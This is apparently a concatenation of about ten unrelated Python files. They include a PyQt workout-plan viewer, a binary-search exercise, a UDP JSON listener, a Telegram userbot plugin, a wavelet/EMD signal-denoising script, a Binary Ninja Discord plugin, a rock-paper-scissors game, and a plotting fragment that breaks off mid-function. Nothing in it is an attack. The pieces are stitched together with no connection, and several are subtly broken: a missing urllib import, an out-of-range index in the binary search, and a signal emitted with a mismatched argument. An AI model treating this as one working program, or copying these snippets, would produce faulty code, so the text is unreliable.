from functools import partial

from PyQt5 import QtWidgets
from PyQt5 import QtCore

from config import APP_MODE, AppMode
from database.db_obj import DB
from database.data_model import PlanListRow, PlanData, PlanPdfData
from gui.editors import PlanAreaViewer
from gui.widgets import (
    ScrollArea, PlanListView, TitleLabel, HBoxPane, ImageButton,
    DBTitleLabel,
)
from gui.dialogs import ErrorMessage, QuestionDialog, InfoMessage
from gui.font import Font, FontFlag
from gui.colors import Colors
from gui.util import set_value, get_value
from gui.flags import ImageFp, AlignFlag, PermissionType, SizePolicy

db = DB()

class _PlanViewerToolbar(QtWidgets.QWidget):
    def __init__(self, parent):
        super().__init__(parent)
        # style_sheet = """
        #     border: 0;
        # """
        # self.setStyleSheet(style_sheet)
        # self.setFixedHeight(50)
        self.hbox_layout = None
        self.bttn_load = None
        self.bttn_export = None
        self.bttn_create_pdf = None
        self.bttn_delete = None
        # ----- Init UI -----
        self.init_ui()
        # ----- Connect events to slots -----
        # self.bttn_load.clicked.connect(self._load_plan_to_planner)

    def init_ui(self):
        self.bttn_load = ImageButton(self, 'bttn_load', ImageFp.LOAD, 'Load plan to Planner')
        self.bttn_export = ImageButton(self, 'bttn_export', ImageFp.EXPORT, 'Export plan to motfile')
        self.bttn_create_pdf = ImageButton(self, 'bttn_create_pdf', ImageFp.PLAN_PDF, 'Create plan pdf')
        self.bttn_delete = ImageButton(self, 'bttn_delete', ImageFp.DELETE, 'Delete plan')
        self.hbox_layout = QtWidgets.QHBoxLayout(self)
        self.hbox_layout.setContentsMargins(0, 0, 0, 0)
        self.hbox_layout.addWidget(self.bttn_load)
        self.hbox_layout.addWidget(self.bttn_export)
        self.hbox_layout.addWidget(self.bttn_create_pdf)
        self.hbox_layout.addWidget(self.bttn_delete)
        self.hbox_layout.setAlignment(AlignFlag.Left)
        self.setLayout(self.hbox_layout)

class _PlanViewerTopRow(QtWidgets.QFrame):
    def __init__(self, parent):
        super().__init__(parent)
        # GUI children
        self.hbox_layout = None
        self.toolbar = None
        self.title = None
        self.label_plan_type = None
        self.cb_plan_type = None
        # Initialize UI
        self._init_ui()

    def _init_ui(self):
        self.toolbar = _PlanViewerToolbar(self)
        self.title = TitleLabel(
            self, 'plan_name', '-', font_flag=FontFlag.TITLE_BOLD,
            bg_color=Colors.PLAN_TITLE.hex,
            size_policy=(SizePolicy.MAXIMUM, SizePolicy.MAXIMUM))
        _id_name_dict = dict(DB().select_from_table('plan_type', ('id', 'name')))
        self.label_plan_type = DBTitleLabel(
            self, 'plan_type', _id_name_dict, font_flag=FontFlag.NORMAL_TEXT_BOLD,
            bg_color=Colors.PLAN_TYPE.hex, text_color='black',
            size_policy=(SizePolicy.MAXIMUM, SizePolicy.MAXIMUM))
        self.label_plan_type.setToolTip('Plan type')
        self.hbox_layout = QtWidgets.QHBoxLayout(self)
        self.hbox_layout.setContentsMargins(0, 0, 0, 0)
        self.hbox_layout.addWidget(self.toolbar)
        self.hbox_layout.addStretch(10)
        self.hbox_layout.addWidget(self.title)
        self.hbox_layout.addStretch(10)
        self.hbox_layout.addWidget(self.label_plan_type)
        self.hbox_layout.addStretch(1)
        self.hbox_layout.setAlignment(self.title, AlignFlag.Center)
        self.hbox_layout.setAlignment(self.title, AlignFlag.Right)
        self.setLayout(self.hbox_layout)

class PlanViewer(QtWidgets.QWidget):
    signal_create_plan_pdf = QtCore.pyqtSignal(QtWidgets.QWidget, PlanPdfData)
    signal_export_plan = QtCore.pyqtSignal(PlanData)

    def __init__(self, parent):
        super().__init__(parent)
        self.setObjectName('plan_viewer')
        # Data
        self.loaded_plan_id = None
        # ----- GUI children -----
        self.vbox_layout = None
        self.top_row = None
        self.plan_area_viewer = None
        # ----- Init UI -----
        self._init_ui()
        # ----- Connect events to slots -----
        self.top_row.toolbar.bttn_export.clicked.connect(self._export_to_json_file)
        self.top_row.toolbar.bttn_create_pdf.clicked.connect(self._create_plan_pdf)

    def _init_ui(self):
        self.vbox_layout = QtWidgets.QVBoxLayout(self)
        self.vbox_layout.setContentsMargins(0, 0, 0, 0)
        self.top_row = _PlanViewerTopRow(self)
        self.plan_area_viewer = PlanAreaViewer(self)
        self.scroll_area = ScrollArea(self)
        self.scroll_area.setWidget(self.plan_area_viewer)
        # ----- Set Layout -----
        self.vbox_layout.addWidget(self.top_row)
        self.vbox_layout.addWidget(self.scroll_area)
        self.setLayout(self.vbox_layout)

    def set_plan(self, plan_row=None):
        if plan_row:
            self.loaded_plan_id = plan_row.plan_id
            set_value(self.top_row.title, plan_row.name)
            set_value(self.top_row.label_plan_type, plan_row.plan_type)
            workouts_data = db.select_plan_workouts_data(plan_row.plan_id)
            self.plan_area_viewer.set_plan_workouts(workouts_data)
            bttn_delete_enabled = True if plan_row.user_permission else False
            self.top_row.toolbar.bttn_delete.setEnabled(bttn_delete_enabled)
        else:
            self.loaded_plan_id = None
            set_value(self.top_row.title, '-')
            set_value(self.top_row.label_plan_type, '-')
            self.plan_area_viewer.set_plan_workouts([None] * 7)
            self.top_row.toolbar.bttn_delete.setEnabled(False)

    def _export_to_json_file(self):
        plan_data = self._get_plan_data()
        self.signal_export_plan.emit(self, plan_data)

    def _create_plan_pdf(self):
        plan_pdf_data = self._get_plan_pdf_data()
        self.signal_create_plan_pdf.emit(self, plan_pdf_data)

    def _get_plan_data(self):
        plan_name = get_value(self.top_row.title)
        plan_type_id = self.top_row.label_plan_type.get_item_db_id()
        workouts_data = self.plan_area_viewer.get_workouts_data()
        return PlanData(self.loaded_plan_id, plan_name, plan_type_id, workouts_data)

    def _get_plan_pdf_data(self):
        plan_name = get_value(self.top_row.title)
        plan_type = get_value(self.top_row.label_plan_type)
        workouts_pdf_data = self.plan_area_viewer.get_workouts_pdf_data()
        links = self.plan_area_viewer.get_all_links()
        return PlanPdfData(plan_name, plan_type, workouts_pdf_data, links)

class PlanListViewer(QtWidgets.QFrame):
    def __init__(self, parent, title, perm_type):
        super().__init__(parent)
        self.setFixedHeight(350)
        # GUI children
        self.vbox_layout = None
        self.title = None
        self.plan_list = None
        # Initilize GUI
        self.init_ui(title, perm_type)

    def init_ui(self, title, perm_type):
        self.title = TitleLabel(self, 'title', title,
                                font_flag=FontFlag.BIG_TEXT_BOLD, round_bottom=False)
        self.plan_list = PlanListView(self, perm_type=perm_type)
        self.vbox_layout = QtWidgets.QVBoxLayout(self)
        self.vbox_layout.setSpacing(0)
        self.vbox_layout.addWidget(self.title)
        self.vbox_layout.addWidget(self.plan_list)
        self.vbox_layout.setContentsMargins(0, 0, 0, 0)
        self.setLayout(self.vbox_layout)

    def refresh_from_db(self):
        indexes = self.plan_list.selectedIndexes()
        sel_row = indexes[0].row() if indexes else None
        self.plan_list.set_model_from_db()
        if sel_row is not None:
            self.plan_list.select_index(sel_row)

    def _get_plan_pdf_data(self):
        pass

class TabPlans(QtWidgets.QFrame):
    signal_load_plan = QtCore.pyqtSignal(PlanListRow)
    signal_plan_deleted = QtCore.pyqtSignal(int)

    def __init__(self, parent, index):
        super().__init__(parent)
        self.index = index
        self.setObjectName('tab_plans')
        # ----- Data -----
        self.info_dialog = None  # For testing
        self.question_dialog = None  # For testing
        # ----- GUI chlderen -----
        self.vbox_layout = None
        self.system_plan_list_viewer = None
        self.user_plan_list_viewer = None
        self.plan_viewer = None
        # ----- Init UI -----
        self.init_ui()
        # ----- GUI chlderen -----
        # connect event to slots
        self.system_plan_list_viewer.plan_list.signal_select_next_plan.connect(self._select_next_plan)
        self.user_plan_list_viewer.plan_list.signal_select_next_plan.connect(self._select_next_plan)
        self.system_plan_list_viewer.plan_list.signal_plan_selected.connect(
            partial(self._set_plan_data, PermissionType.System))
        self.user_plan_list_viewer.plan_list.signal_plan_selected.connect(
            partial(self._set_plan_data, PermissionType.User))
        self.plan_viewer.top_row.toolbar.bttn_load.clicked.connect(self._bttn_load_clicked)
        self.plan_viewer.top_row.toolbar.bttn_delete.clicked.connect(self._bttn_delete_clicked)
        # Post actions
        self._select_next_plan()

    def init_ui(self):
        self.system_plan_list_viewer = PlanListViewer(self, 'System Plans', PermissionType.System)
        self.user_plan_list_viewer = PlanListViewer(self, 'User Plans', PermissionType.User)
        _row_plan_lists = HBoxPane(self, (self.system_plan_list_viewer, self.user_plan_list_viewer),
                                   cont_margins=(0, 0, 0, 0))
        self.plan_viewer = PlanViewer(self)
        # ----- Set Layout -----
        self.vbox_layout = QtWidgets.QVBoxLayout(self)
        self.vbox_layout.addWidget(self.plan_viewer)
        self.vbox_layout.addWidget(_row_plan_lists)
        self.vbox_layout.setAlignment(_row_plan_lists, AlignFlag.Top)
        self.setLayout(self.vbox_layout)

    def refresh_plans(self):
        self.system_plan_list_viewer.refresh_from_db()
        self.user_plan_list_viewer.refresh_from_db()

    def _select_next_plan(self):
        for plan_list in (self.user_plan_list_viewer.plan_list,
                          self.system_plan_list_viewer.plan_list):
            if plan_list.model().rowCount() > 0:
                plan_list.select_index(0)
                return
        # Not plan available, so plan table data is reset
        self.plan_viewer.set_plan()

    # ----- SLOTS -----

    def _bttn_load_clicked(self):
        system_plan_list = self.system_plan_list_viewer.plan_list
        user_plan_list = self.user_plan_list_viewer.plan_list
        plan_row = system_plan_list.get_selected_plan_row()
        if not plan_row:
            plan_row = user_plan_list.get_selected_plan_row()
        self.signal_load_plan.emit(plan_row)

    def _bttn_delete_clicked(self):
        loaded_plan_id = self.plan_viewer.loaded_plan_id
        if not loaded_plan_id:
            ErrorMessage('Delete plan failed', 'No plan is loaded').exec()
            return
        _plan_name = get_value(self.plan_viewer.top_row.title)
        _msg = f'Are you sure you want to delete plan "{_plan_name}"?'
        self.question_dialog = QuestionDialog('Delete plan', _msg)
        delete_plan = self.question_dialog.exec()
        if not delete_plan:
            return
        deleted = DB().delete_week_plan(loaded_plan_id)
        if not deleted:
            _msg = f'Error occured: Plan "{_plan_name}" couldn\'t be deleted.'
            ErrorMessage('Delete plan failed', _msg).exec()
            return
        self.plan_viewer.set_plan()
        if APP_MODE == AppMode.DEVELOPMENT_MODE:
            indexes = self.system_plan_list_viewer.plan_list.selectedIndexes()
            if indexes:
                plan_id = self.system_plan_list_viewer.get_selected_item_id()
                self.system_plan_list_viewer.model().removeRows(indexes[0].row(), 1)
                self.signal_plan_deleted.emit(plan_id)
                return
        indexes = self.user_plan_list_viewer.plan_list.selectedIndexes()
        if indexes:
            plan_id = self.user_plan_list_viewer.plan_list.get_selected_item_id()
            self.user_plan_list_viewer.plan_list.model().removeRows(indexes[0].row(), 1)
            self.signal_plan_deleted.emit(plan_id)
        self._select_next_plan()
        _msg = f'Plan "{_plan_name}" was deleted.'
        self.info_dialog = InfoMessage('Plan deleted', _msg)
        self.info_dialog.exec()
        self.info_dialog = None

    def _set_plan_data(self, perm_type, plan_row):
        self.plan_viewer.set_plan(plan_row)
        if perm_type == PermissionType.System:
            self.user_plan_list_viewer.plan_list.selectionModel().clearSelection()
        else:  # == PermissionType.User
            self.system_plan_list_viewer.plan_list.selectionModel().clearSelection()


def binary(elements,query):
    low=0
    high=len(elements)-1
    while low<=high:
         mid=(low+high)//2
         if elements[mid]==query:
             if len(elements)>1:
                if elements[mid-1]==elements[mid]:
                    high=mid-1
                elif elements[mid-1]!=elements[mid]:
                    return mid
             elif len(elements)==1:
                return mid
         elif elements[mid]>query:
              low=mid+1
         elif elements[mid]<query:
              high=mid-1
    return -1

testcases=[{'input': {'cards': [13, 11, 10, 7, 4, 3, 1, 0], 'query': 7}, 'output': 3},
 {'input': {'cards': [13, 11, 10, 7, 4, 3, 1, 0], 'query': 1}, 'output': 6},
 {'input': {'cards': [4, 2, 1, -1], 'query': 4}, 'output': 0},
 {'input': {'cards': [3, -1, -9, -127], 'query': -127}, 'output': 3},
 {'input': {'cards': [6], 'query': 6}, 'output': 0},
 {'input': {'cards': [9, 7, 5, 2, -9], 'query': 4}, 'output': -1},
 {'input': {'cards': [], 'query': 7}, 'output': -1},
 {'input': {'cards': [8, 8, 6, 6, 6, 6, 6, 3, 2, 2, 2, 0, 0, 0], 'query': 3},
  'output': 7},
 {'input': {'cards': [8, 8, 6, 6, 6, 6, 6, 6, 3, 2, 2, 2, 0, 0, 0],
  'query': 6},
  'output': 2}]

for j in range(0,len(testcases)):
    position=binary(testcases[j]['input']['cards'],testcases[j]['input']['query'])
    if position==testcases[j]['output']:
        print("{} test case passed".format(j+1))


import socket
import json
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('127.0.0.1',1234))

def getJsonFromUrl(urlString):
    #print(urlString)
    response = urllib.request.urlopen(urlString).read().decode()
    responseJson = json.loads(response)
    return responseJson

while 1:
    data, addr = sock.recvfrom(0xffff)
    print("server is received data")
    comments = json.loads(data)
    print(json.dumps(comments, indent=2, sort_keys=True))
    for comment in comments["data"]:
        print("message : " + comment["message"])
        print("writer : " + comment["writer"])


# inspired from uniborg Quotes plugin
import random

from userbot import catub

from ..core.logger import logging
from ..core.managers import edit_delete, edit_or_reply
from ..helpers import catmemes
from ..helpers.functions import random_quote, search_quotes
from ..helpers.utils import parse_pre

LOGS = logging.getLogger(__name__)
plugin_category = "extra"

@catub.cat_cmd(
    pattern="quote(?:\s|$)([\s\S]*)",
    command=("quote", plugin_category),
    info={
        "header": "To get random quotes on given topic.",
        "description": "An api that Fetchs random Quote from `goodreads.com`",
        "usage": "{tr}quote <topic>",
        "examples": "{tr}quote love",
    },
)
async def quote_search(event):
    "shows random quotes on given topic."
    input_str = event.pattern_match.group(1)
    try:
        response = await search_quotes(input_str) if input_str else await random_quote()
    except Exception:
        return await edit_delete(event, "`Sorry Zero results found`", 5)
    await edit_or_reply(event, response, parse_mode=parse_pre)

@catub.cat_cmd(
    pattern="pquote$",
    command=("pquote", plugin_category),
    info={
        "header": "To get random quotes on programming.",
        "usage": "{tr}pquote",
    },
)
async def _(event):
    "Shows random programming quotes"
    txt = random.choice(catmemes.PROGQUOTES)
    await edit_or_reply(event, txt)


#%%
import math
import numpy as np
import matplotlib.pyplot as plt
import scipy.signal as sig
from scipy import interpolate
import pywt
from matplotlib.pylab import mpl
mpl.rcParams['font.sans-serif'] = ['SimHei'] # 显示中文的命令
mpl.rcParams['axes.unicode_minus'] = False  #  显示负号的命令
#经验模态函数EMD

#函数1：判定当前时间序列是否是单调序列
def mon(x):
    max_peaks=sig.argrelextrema(x,np.greater)[0]#极大值点横坐标，np.greater实现的是">"的功能
    min_peaks=sig.argrelextrema(x,np.less)[0]#极小值点横坐标
    num=len(max_peaks)+len(min_peaks)#极值点个数
    if num >0:#不是单调序列
        return False
    else:
        return  True
#函数2：寻找当前时间序列的极值点横坐标
def findpeaks(x):
    return sig.argrelextrema(x,np.greater)[0]
#函数3：判断是否为IMF序列
def  imfyn(x):
    N = np.size(x)
    pzero = np.sum(x[0:N-2] * x[1:N-1] < 0)#过零点个数
    psum = np.size(findpeaks(x)) + np.size(findpeaks(-x))#极值点个数
    if abs(pzero - psum) > 1:
        return False
    else:
        return True

#函数4：获取样条曲线
def getspline(x):
    N = np.size(x)
    peaks = findpeaks(x)
    peaks = np.concatenate(([0],peaks))
    peaks = np.concatenate((peaks,[N - 1]))
    if (len(peaks) <=3):
        t = interpolate.splrep(peaks,y=x[peaks] , w=None , xb=None , xe=None ,k=len(peaks) -1)
        return interpolate.splev(np.arange(N),t)
    t = interpolate.splrep(peaks, y=x[peaks])
    return interpolate.splev(np.arange(N),t)
#函数5：CBemd
def emd(x):
    imf= []
    while not mon(x):
        x1 = x
        sd = np.inf
        while sd >0.1 or (not imfyn(x1)):
            s1 = getspline(x1)
            s2 = -getspline(-1*x1)
            x2 = x1 - (s1 + s2)/2
            sd = np.sum((x1-x2)**2) / np.sum(x1 ** 2)
            x1 = x2
        imf.append(x1)
        x = x -x1
    imf.append(x)
    return imf
# 函数6：模拟噪声函数wgn
def wgn(x,snr):
    snr = 10**(snr/10.0)
    xpower = np.sum(x**2)/len(x)
    npower = xpower / snr
    return np.random.randn(len(x) )* np.sqrt(npower)
# 函数7：matlab仿写的软阈值去噪函数
def Thr(x):
    len1 = len(x)
    w = sorted(x) #从小到大排序
    if len1 % 2 == 1:
        v = w[int((len1+1)/2)-1] # 如len1=5，计算结果为3 ，但是3不是中间位置还需要减1
    else:
        v = (w[int(len1/2)-1] + w[int(len1/2)]) / 2 #是 偶数就 取中间两个值的平均值
    sigmal = abs(v) / 0.6745
    valve = sigmal * ( ( 2 * ( math.log(len1, math.e)  ) ) ** (0.5) )
    return valve
# 函数8：python小波去噪函数
def  quzao(data):
    mode = 'db38'
    w = pywt.Wavelet(mode)
    maxlev = pywt.dwt_max_level(len(data), w.dec_len)#找到数据可以分解的最大水平
    #maxlev = 3 #一般可以取3
    print(f"matlab小波去噪函数 - 原始数据在{mode}小波基下的最大分解水平为："  + str (maxlev) ) # 这是可以分解的最大水平，但是不推荐，本信号最大可分解6层，但是3 最好
    coeffs = pywt.wavedec(data , w ,level = int(maxlev / 2 ) )# 高频细节系数 ，#返回CAn,CDn,CDn-1,CDn-2,....CD1
    for j in range(1 , len(coeffs)) : # 外循环，不同的细节系数轮流去噪 ,从1开始，因为第1个是近似系数
        valve = Thr(coeffs[j]) #当前的细节系数 计算阈值
        temp = coeffs[j] #把当前细节系数给副本temp ，整行赋值
        for i in range(int(len(temp))):#内循环 ，对当前细节系数每一个元素进行处理 ， 循环次数取决于 当前细节系数的长度
            if (abs(temp[int(i)]) <= valve):#绝对值小于等于阈值的都取0
                temp[int(i)] = 0
            else:
                if (temp[int(i)] > valve ):
                    temp[int(i)] = temp[int(i)-1] - valve  #绝对值大于阈值的都减去阈值
                else:
                    temp[int(i)] = temp[int(i) - 1] + valve #其他情况 ，比如很大的负数，加上阈值
        coeffs[j] = temp #可以这样赋值，把当前去噪后的细节系数替换掉 存放细节系数的coeffs
    datarec = pywt.waverec(coeffs , w) #外循环结束 ，  所有替换过的 coeffs 再做逆重构
    return datarec
#函数9：db8 小波去噪函数
def quzao_1(x):
    w = pywt.Wavelet('db8')
    maxlev = pywt.dwt_max_level(len(x), w.dec_len )
    print("python小波去噪函数 - 原始数据在db8小波基的最大分解水平为： " + str(maxlev))
    threshold = 0.04
    coeffs = pywt.wavedec(x, 'db8',level = maxlev )
    for i in range(1, len(coeffs)): #只对细节系数处理 ，也就是高频分量去噪
        coeffs[i] = pywt.threshold(coeffs[i], threshold*max(coeffs[i]))
    datarec = pywt.waverec(coeffs,'db8') #将信号小波重构
    return  datarec
#函数10：自定义的绘图函数Plot
def Plot(x,y,legendname,titlename,xlabelname,ylabelname):
    '''设置图片大小，分辨率，[图像编号]，背景色，是否显示边框 ， 边框颜色'''
    plt.figure(figsize=(8,4) , dpi= 144, facecolor= 'w' , frameon= True  ,  edgecolor= 'b')

    '''设置图例文字，线颜色，线型，线宽，线风格，标记类型，标记尺寸，标记颜色，透明度'''
    plt.plot(x,y,label=legendname, color='r' , linewidth = 0.6, linestyle =  '--' , marker = 'o',
             markersize = '2' , markerfacecolor = 'w' , alpha = 0.5)

    '''设置图例的文字，位置 ， 文字大小， 多图例按列数显示(默认按行)， 图例标记为原尺寸的多少倍大小 ， 是否添加阴影 ， 图里圆角方角，是否带边框， 边框透明度'''
    plt.legend((legendname,), loc= 'upper right' , fontsize = 18,ncol = 1, markerscale=1, shadow=False , fancybox=True,  frameon = True , framealpha=0.5)

    '''设置网格线是否出现、显示哪个轴的网格线 ，网格线颜色， 风格、 宽度、 设置次刻度线（default = major）'''
    #plt.grid(b=None, axis= 'x', color ='k', linestyle = '-.',linewidth = 5 , which= 'major')

    '''设置坐标轴范围'''
    ymax = max(y)
    ymin = min(y)
    xmax = max(x)
    xmin = min(x)
    plt.ylim(ymin , ymax)
    plt.xlim(xmin , xmax)

    '''设置轴标签是否旋转，文字垂直和水平位置'''
    plt.xlabel(xlabelname,fontsize=18 ,rotation = None , verticalalignment = 'top' )
    plt.ylabel(ylabelname,fontsize=18 ,rotation = 90 , verticalalignment = 'bottom' )

    '''设置轴刻度'''
    plt.yticks(())
    plt.xticks(())

    '''设置哪个轴的属性、次刻度线设置， 刻度线显示方式(绘图区内测、外侧、同时显示)，刻度线宽度，刻度线颜色、刻度线标签颜色(任命/日期等)
    刻度线与标签距离、刻度线标签大小、刻度线是否显示(default=bottom ,left)、刻度线标签是否显示(default = bottom/left)'''
    plt.tick_params (axis='both',which='major' , direction = 'in' , width=1,length=3,color='k',labelcolor='k', pad=1,
                     labelsize = 15, bottom = True , right =True , top = False, labeltop=False,labelbottom = True ,
                                    labelleft = True , labelright = False)

    '''方框外形、背景色、 透明度、方框粗细、方框到文字的距离'''
    bb = dict(boxstyle ='round',fc='w', ec = 'm',alpha=0.8, lw=10, pad= 0.6)

    '''设置标题文字大小、标题大小、标题正常/斜体/倾斜、垂直位置、水平位置、透明度、标题背景色、是否旋转、标题边框有关设置（字典格式）'''
    plt.title (label=titlename , fontsize =24, fontweight='normal', fontstyle='italic',verticalaligment='bottom',
                alpha=0.8 , backgroundcolor = 'w', rotation = None )#bbox = bb

    plt.show()
#主程序main################################################
# 1、定义原始数据
fs=25000 #采样频率要大于 信号频率 的两倍
f0=2000
f1=6000
t = np.arange(0,1,1/fs)
#x = 0.6 * (1+np.sin(2 * np.pi * f0 * t)) * np.sin(2 * np.pi * f1 * t)
x = 4 + 6*np.sin(2000*np.pi*t) + 8*np.sin(6000*np.pi*t) + 10*np.sin(10000*np.pi*t)
#2、添加白噪声
x = x + wgn(x,3)
#3、使用函数9 db8小波基去噪
xrec = quzao_1(x)
ymax = max(xrec)
ymin = max(xrec)
#4、去噪前后图像比对，因为子图缘故不可以调用Plot函数
plt.figure(figsize= (8,4))
plt.subplot(2,1,1)
plt.plot(t,x,c='cornflowerblue',linestyle='-',linewidth=0.6)
plt.xlabel('时间 (s)')
plt.ylabel('幅值 (m)')
plt.xlim(min(t),max(t))
plt.ylim(min(x)+1,max(x)+1)
plt.legend(('source_signal',),loc='upper right',fontsize=10,frameon=True )
plt.title('source',fontsize=20)
plt.xticks(())
plt.yticks(())

plt.subplot(2,1,2)
plt.plot(t,xrec,c='lightslategrey',linestyle='-',linewidth=0.6)
plt.xlabel('时间 (s)')
plt.ylabel('幅值 (m)')
plt.xlim(min(t),max(t))
plt.ylim(min(xrec)+1,max(xrec)+1)
plt.legend(('denoised_signal',),loc='upper right',fontsize=10,frameon=True )
plt.title('denoised',fontsize=20)
plt.xticks(())
plt.yticks(())

plt.tight_layout ()#自动调整子图间距，使之填充整个图像区域
plt.show()
#5、emd分解
imf = emd(xrec)
#6、imf分量绘制 前4个imf分量
fig , ax = plt.subplots (2,2)
plt.subplots_adjust (wspace= 0.4,hspace=0.4)#调整子图大小
axs = ax.flatten() #面向对象，将子图句柄展开，其中每个元素代表1个子图
'''子图分别绘制'''
'''imf1'''
axs[0].plot(t , imf[0] , color='lightseagreen' , linewidth = 0.6 ,linestyle = '-')
axs[0].set_title('imf1', fontsize=15)
axs[0].legend(('imf1',),loc = 'upper right',fontsize=10,frameon =True)
axs[0].set_xticks(())
axs[0].set_yticks(())
'''imf2'''
axs[1].plot(t , imf[1] , color='deepskyblue' , linewidth = 0.6 ,linestyle = '-')
axs[1].set_title('imf2', fontsize=15)
axs[1].legend(('imf2',),loc = 'upper right',fontsize=10,frameon =True)
axs[1].set_xticks(())
axs[1].set_yticks(())
'''imf3'''
axs[2].plot(t , imf[2] , color='blueviolet' , linewidth = 0.6 ,linestyle = '-')
axs[2].set_title('imf2', fontsize=15)
axs[2].legend(('imf2',),loc = 'upper right',fontsize=10,frameon =True)
axs[2].set_xticks(())
axs[2].set_yticks(())
'''imf4'''
axs[3].plot(t , imf[3] , color='dimgrey' , linewidth = 0.6 ,linestyle = '-')
axs[3].set_title('imf3', fontsize=15)
axs[3].legend(('imf3',),loc = 'upper right',fontsize=10,frameon =True)
axs[3].set_xticks(())
axs[3].set_yticks(())

plt.show()
# 7、傅里叶变换
from scipy.fftpack import fft , ifft
fftx = fft(xrec)
mol = np.abs(fftx)
t_mol = mol[range(int(fs/2))]/(fs/2) #频域纵坐标到时域纵坐标的转换
freq = ( ( t[ range(int(fs/2 ) ) ] + 1/fs) * fs -1) #时域横坐标到频域横坐标的转换，并取一半
angle = np.angle(fftx) #复数模 和 相位
'''绘制原始信号的频谱图'''
plt.figure(dpi=144,figsize= (8,4))
plt.plot(freq , t_mol ,c = 'blueviolet' , linewidth=0.6 , linestyle = '-')
plt.title('去噪信号的频谱图', fontsize =20)
plt.legend(('频谱图',),loc = 'upper right' , fontsize=15 , frameon = True)
plt.show()
'''循环绘制4个imf分量的频谱图'''
fig1  = plt.figure(dpi=144,figsize= (8,6))
title = ('imf1','imf2','imf3','imf4')
for i in range(4):
    fftimf = fft(imf[i])
    molimf = np.abs(fftimf)
    angleimf = np.angle(fftimf)
    half_molimf = molimf[range(int(fs/2))] / (fs/2)
    freq = ((t[range(int(fs/2))] + 1/fs) * fs -1)
    Q=fig1.add_subplot(2,2,i+1)
    Q.plot(freq , half_molimf ,c = 'blueviolet' , linestyle='-' , linewidth = 0.6)
    Q.set_title(title[i],fontsize=20)
    Q.legend((title[i],),loc='upper right',fontsize=15 , frameon=True )
plt.tight_layout ()
plt.show()

#8、主成分分析PCA
from sklearn.decomposition import PCA
data_pca = np.array(imf) #转换为数组格式，原本是列表格式，imf是行向量
pca = PCA(n_components= 0.90 , copy =True ,whiten = False ) #找到占比95%以上的imf分量
pca.fit(data_pca )
pca_tran = pca.transform(data_pca )
print('主要的imf分量个数为：'+ str(pca.n_components_)) #返回被保留的主成分个数
print('各imf分量占比依次为：'+str(pca.explained_variance_ratio_))# 各imf分量的占比
#print(pca.explained_variance_ ) #找到特征向量的方差，也就是特征值
#print(pca.components_ ) #返回被保留的主成分值，也可以直接查看pca


from binaryninja import BackgroundTaskThread
from binaryninjaui import DockHandler

import asyncio
import time

try:
    from pypresence import Presence
except ModuleNotFoundError:
    from pip._internal import main
    main(['install', '--quiet', 'pypresence==4.0.0'])

class Binjcord(BackgroundTaskThread):
    def __init__(self):
        super().__init__('binjcord running', True)
        self.time_started = time.time()
        self.rpc = Presence("740982162249089034")
        self.done = False

    def run(self):
        asyncio.set_event_loop(asyncio.new_event_loop())
        self.rpc.connect()
        dock = DockHandler.getActiveDockHandler()
        while not self.done:
            frame = dock.getViewFrame()
            if frame:
                fname = frame.getShortFileName()
                offset = hex(frame.getCurrentOffset())
                self.rpc.update(start=self.time_started,
                                large_image='binja',
                                large_text='Binary Ninja',
                                state=fname,
                                details=offset)
                time.sleep(15)
        self.rpc.close()

    def finish(self): self.done = True
    def cancel(self): self.done = True

Binjcord().start()


## Controller Python Script "cours_modifier_exercice"
##bind container=container
##bind context=context
##bind namespace=
##bind script=script
##bind subpath=traverse_subpath
##parameters=
##title=Cours edit
##

form = context.REQUEST.form
redirection = "%s/%s?menu=%s" % (context.absolute_url(), form["page"], form["menu"])

context.modifierExoFeuille(form)
return context.REQUEST.RESPONSE.redirect(redirection)


from requests import get
import random

def get_series():
    cs = 2
    stillvalid = True
    while stillvalid:
        if get("http://www.scpwiki.com/scp-series-" + str(cs)).status_code == 404:
            cs -= 1
            return cs
        else:
            cs += 1

def get_random_number():
    get404 = True
    while get404:
        num = random.randint(1, (get_series() * 1000) - 1)
        num_str = ""
        if len(str(num)) == 1:
            num_str = "00" + str(num)
        elif len(str(num)) == 2:
            num_str = "0" + str(num)
        else:
            num_str = str(num)
        if get("http://www.scpwiki.com/scp-" + num_str).status_code != 404:
            return num_str


import random
import sys

# One = Rock | Two = Paper | Three = Scissors

gen = random.randint(1, 3)
tracker = 0
chance = 3

print('''

####################################
#   Rock-Paper-Scissors            #
####################################

Winner takes it all you have 3 chances

Use R for Rock | P for Paper | S for Scissors

''')

while chance > 0:

    choice = str(input('Choice: '))

    if choice == 'p' or choice == 'P':
        if gen == 1:
            print('You : Paper | Computer : Rock')
            print('Congrats Bruh . You won !')
            tracker += 1
        elif gen == 2:
            print('You : Paper | Computer : Paper')
            print('Uhh huh. Its a tie')
            tracker = tracker
        elif gen == 3:
            print('You : Paper | Computer : Scissors')
            print('You lose u noob')
            tracker -= 1
        else:
            print('Please make a valid choice')

    elif choice == 'r' or choice == 'R':
        if gen == 1:
            print('You : Rock | Computer : Rock')
            print('Uhh huh. Its a tie')
            tracker = tracker
        elif gen == 2:
            print('You : Rock | Computer : Paper')
            print('You lose u noob')
            tracker -= 1
        elif gen == 3:
            print('You : Rock | Computer : Scissors')
            print('Congrats Bruh . You won !')
            tracker += 1
        else:
            print('Please make a valid choice')

    elif choice == 'S' or choice == 's':
        if gen == 1:
            print('You : Scissors | Computer : Rock')
            print('You lose u noob')
            tracker -= 1
        elif gen == 2:
            print('You : Scissors | Computer : Paper')
            print('Congrats Bruh . You won !')
            tracker += 1
        elif gen == 3:
            print('You : Scissors | Computer : Scissors')
            print('Uhh huh. Its a tie')
            tracker = tracker
        else:
            print('Please make a valid choice')
    else:
        print('Something went worng please try later')
        sys.exit()

    chance  = chance - 1

    if chance == 0:
        break

if tracker > 2:
        print('''

                      You
           Computer |--------|      You won the game !!!!!!
        |-----------| First  |
            Loser
        ''')
elif tracker == 2 or tracker == 0:
    print('''

            Computer            You
        |-------------------|---------------------|     Its a tie man !

    ''')
elif tracker < 2 or tracker == 0:
    print('''

                     Computer
           First    |--------|      You lose the game bruh !!!!!!
        |-----------| First  |
            Loser

    ''')
else:
    print('Something went worng !')
    sys.exit()


import base64
import io
import os
import urllib

import matplotlib
import matplotlib.pyplot as plt
import pandas as pd

def get_base64_string(fig):
    buf = io.BytesIO()
    fig.savefig(buf, format='png',  bbox_inches="tight")
    buf.seek(0)
    string = base64.b64encode(buf.read())
    uri = urllib.parse.quote(string)
    return uri

def generate_plots_with_data(alldata):
